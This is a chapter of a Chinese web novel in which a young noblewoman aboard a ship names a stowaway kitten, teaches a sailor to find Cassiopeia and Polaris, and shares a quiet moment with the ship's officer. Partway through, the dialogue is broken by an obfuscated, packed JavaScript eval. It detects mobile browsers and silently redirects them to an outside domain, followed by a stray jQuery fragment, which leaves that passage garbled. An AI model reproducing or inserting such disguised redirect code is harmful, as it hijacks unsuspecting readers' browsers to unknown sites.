18. 夜色缱绻
作品:《大小姐的航海训犬日志》 在于霜养病的几天里,“诺尔尼斯号”仿佛注入了一股不同以往的生气。
尽管航向未变,目的地依旧笼罩在迷雾和危险之中,但船上的氛围却悄然发生着变化。
于霜的舱房时不时会有“访客”。
少年水手吉勒几乎是每天报道三次,每次都能找出各种理由——
送来一朵用废木头削成的、歪歪扭扭的小花,分享一块他省下来的、可能有点受潮的甜饼干,或者只是红着脸确认她是否需要喝水。
船医汉森会按时送来汤药,并严谨地记录她的恢复情况。
甚至连大副雷恩也粗声粗气地过来一趟,放下一小瓶据说能“驱散病气”的烈朗姆酒。
尽管这被于霜礼貌而坚定地拒绝了。
她的身体在汤药的调理下,一天天渐渐好转,苍白的脸颊恢复了血色,那双总是带着几分倔强和聪慧的眼睛,也重新变得明亮起来。
这日下午,阳光正好,透过舷窗在她舱房的地板上投下温暖的光影。
她正靠在床头,尝试阅读一本从船长那里借来的、纸张泛黄卷边的旧航海日志,门外就传来了小心翼翼的敲门声。
“请进。”于霜抬起头。
门被推开一条缝,吉勒先是探进一个毛茸茸的脑袋,脸上带着腼腆又兴奋的笑容。
随即,他侧身挤了进来,怀里还抱着一个正在轻轻扭动、发出细微“咕噜”声的毛团。
“西蒙小姐,你快看这个!”吉勒献宝似的把怀里的毛团往前送了送。
那是一只看起来约莫三四个月大的三花小猫,毛色偏光,眼睛像两颗圆溜溜的玻璃珠子,正好奇又略带警惕地打量着于霜。
于霜的眼睛瞬间亮了起来,脸上不由自主地露出惊喜的笑容:“天呐,好可爱的小猫,吉勒,你从哪里弄来的?”
她放下书,伸出手指轻轻挠了挠小猫的下巴。
小猫舒服地眯起眼,喉咙里的咕噜声更响了。
吉勒见她喜欢,自己也莫名高兴起来,拉开木凳坐了过来,将小猫放在腿上,手脚并用地比划道:“就是我们在‘岩爪湾’停留的那一天,这个小猫不知怎么的,自己从码头上溜达到我们船边,我看它瘦瘦巴巴的,很可怜的样子,就……就偷偷从厨房拿了点剩鱼剩肉给它喂了,又陪它玩了一会儿。”
他眼睛眨巴几下,语气欣喜:“结果,它居然偷偷溜进了船舱里,等我们发现它的时候,船已经开了……”
“船长说,这段时间先养着它,等到了下一个渡口,再把它放到陆地上去。”吉勒有些不好意思地挠挠头,“西蒙小姐,它很乖的,平时就呆在我房间里,偶尔……偶尔会去厨房偷东西吃。”
于霜逗弄着小猫,脸上浮现出几分笑意:“看来是它选择的我们啊,它也是小冒险家。”
“那,西蒙小姐,咱们给它取个名字怎么样?”吉勒抠抠手指,有些紧张又有些激动地问道。
“不如……就叫它lucky?希望它能给我们都带来好运吧。”于霜弯弯眼。
小猫像是听懂了似的,抬头“喵喵”叫了几声,还伸出舌头舔了舔于霜的手指。
“lucky,就叫lucky,好名字!”吉勒兴奋地重复道,“咳咳,那我以吉勒水手的名义宣布——小猫lucky,就正式成为我们诺尔尼斯号船上的编外成员啦。”
于霜轻轻应声。
“好。”
-
过了几日,于霜的身体逐渐好转,开始能在甲板上短时间活动。
她裹着厚厚的披风,坐在避风的角落,看着夕阳缓缓沉入海平面,将天边染成绚丽的橙红色。
吉勒抱着关于星象的记录簿,愁眉苦脸地凑了过来,在她旁边的甲板上坐下。
“西蒙小姐……”他小声嘟囔着,把记录簿摊开,“这星星看得我头都晕了,汉斯先生说我这图画得跟喝醉了的螃蟹爬的一样……”
于霜闻言轻笑出声,接过那本粗糙的记录簿,就着傍晚渐暗的光线看了看。
上面用炭笔画着歪歪扭扭的线条和点,确实有些混乱。
“没那么糟,吉勒,”她温和地说,语气里没有一丝不耐烦,“看,你至少把最亮的几颗都找出来了。”
她用指尖点了点纸面上的几个黑点。
然后,她拿起旁边的炭笔,声音放得更轻柔了些,像在分享一个小秘密:“你看那边,天顶上那儿,像不像一个歪歪扭扭的‘W’?或者有人说它像一顶皇冠……对,就是那几颗连在一起的。”
吉姆顺着她指的方向和纸上的标记,努力地眯眼看去。
“那是仙后座,”
于霜继续解释道,炭笔在纸上流畅地勾勒出简单的连线,让那几个点瞬间有了意义。
“它可是北方星空里最好认的路标之一。你看到‘W’中间那颗比较亮的了吗?从它出发,大概……嗯……大概这么长的距离,”
她用手指在纸上比划了一段虚设的距离,“就能找到北极星了,它几乎不动,永远指着正北,是所有水手最忠实的朋友。”
她一边说,一边在记录簿的角落快速画了一个更清晰简洁的示意图:“喏,就像这样。记住这个‘W’的形状,下次就不会认错了。你试试看?”
吉勒的眼睛跟着她的笔尖和话语,渐渐亮了起来,之前的困惑被新奇和一点点的成就感取代。
“哇……原来是这样,西蒙小姐,您可懂得真多!”
他兴奋地拿起炭笔,模仿着于霜的示意图,在自己那歪歪扭扭的星图旁重新标注起来。
“当然啦,”于霜语气难得放松,她有些得意地说,“我们贵族小姐什么都会。”
夜渐渐深了,甲板上的人声渐渐稀疏,值夜的水手开始就位。
吉勒也抱着他那本终于有了些模样的星象记录簿,心满意足地被大副雷恩吼回去做杂务了。
于霜拢了拢披风,海风带着凉意,却让她觉得清醒而舒适。
她正准备起身回舱,眼角的余光瞥见船尾楼的高处,一个熟悉的身影凭栏而立。
是江熠。
他似乎总是喜欢待在高处,像一头栖息在峭壁上的鹰隼,沉默地俯瞰着一切。
晚风吹起他额前几缕黑发,侧脸线条在渐暗的天光里显得格外冷硬。
于霜脚步顿了顿,鬼使神差地,改变了方向,沿着舷梯慢慢走了上去。
她走到他身边不远处,学着他的样子倚靠在栏杆上,望着船尾后方被螺旋桨搅碎的、泛着点点银白的浪迹。
两人一时无话,只有风声和海浪声在耳边慢慢低语。
“看来吉勒那小子不用再画醉蟹图了。”江熠忽然开口,声音平淡,目光依旧望着远方。
于霜微微挑眉,略带得意:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16261173|181538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“总不能真让他一辈子分不清仙后座和北斗七星在哪儿吧?好歹找到了那个歪脖子‘W’,总算有点开窍了。”
她的语气轻松,带着点调侃。
江熠的嘴角似乎小幅度地弯了一下。
“良好的教育看来还包括怎么让毛头小子乖乖听讲。”
“哼,那是天赋,江副船长。”于霜扬起下巴,“毕竟不是谁都能给船上最受欢迎的‘编外成员’起名的。”
提到那只猫,江熠的眉梢动了一下。
“厨房倒是和我说最近装咸鱼的桶安静了不少。”
于霜忍不住笑出声:“看来lucky比某些水手还有用。”
突然,海上起了点阵凉风,于霜鼻子一痒,偏过头小声打了个喷嚏。
江熠皱眉,忍不住道。
“病还没好利索,别在这里吹风,给我把命好好吊着。”
于霜刚要开口反驳自己没那么娇弱,一件带着体温和淡淡皂荚气息的外套便不容分说地落在了她的肩上。
那气息冷冽而干燥,一如他本人。
外套上还残留着他身体的余温,瞬间驱散了周遭的寒意。
她微微一怔,到嘴边的话咽了回去,手指下意识地攥紧了外套的边缘。
“……多谢。”她低声说,目光重新投向深邃的夜空和微光粼粼的海面,感受着肩头陌生的重量与温暖。
又一阵海风吹过,于霜微微眯起眼,感受着风拂过面颊的力度和湿度,像是本能般轻声分析道:“风速在减缓,气流也变得有些紊乱。看那边堆积的云层样子,估计三到四个小时后,风力会转向,如果不及早调整帆索角度,明早日出时分,我们的速度会慢下来。”
她的语气平静而笃定,没有炫耀,而是陈述一个基于观察和经验的事实。
江熠侧过头看她。
月光勾勒出她精致的侧脸,那双眼睛映着星辉和海浪的碎光显得熠熠生辉。
与她身上披着的、属于他的宽大外套形成一种奇特的反差。
他没有质疑,只是沉默地听着,目光在她脸上停留了片刻,又转向她方才示意的云层方向。
“看到了。”
他沉声应道,算是认可了她的判断。
这种无需多言的默契,让于霜心底掠过一丝微妙的涟漪。
这时,下层甲板传来吉勒压低的惊呼和软软的猫叫声,大概是lucky又在进行它的夜间探险了。
于霜的唇角不自觉微微上扬。
江熠的目光从海面收回,掠过她极浅的笑痕。
“风变大了,回船舱去。”他的声音依旧没有太多波澜,但驱赶的意味里似乎掺杂了一丝极淡的、关乎她身体状况的关心。
肩头外套传来的暖意确实让于霜无法拒绝这个提议。
她点了点头,轻声道:“知道了。”
她转身走向舷梯,走下几步前,下意识回头看了一眼。
江熠依然站在原地,身影在夜色与月光中显得愈发挺拔孤寂,仿佛与这艘船、这片海融为一体。
他并未收回目光,就这么直勾勾看着,只是在她眼神投去的瞬间,极轻微地颔首,示意她离开。
于霜收回视线,拢紧肩上带着他气息的外套,慢慢走回舱房。
那外套似乎隔绝了晚间的寒凉,也在她的心尖上留下了一股酥酥麻麻的欣喜雀跃。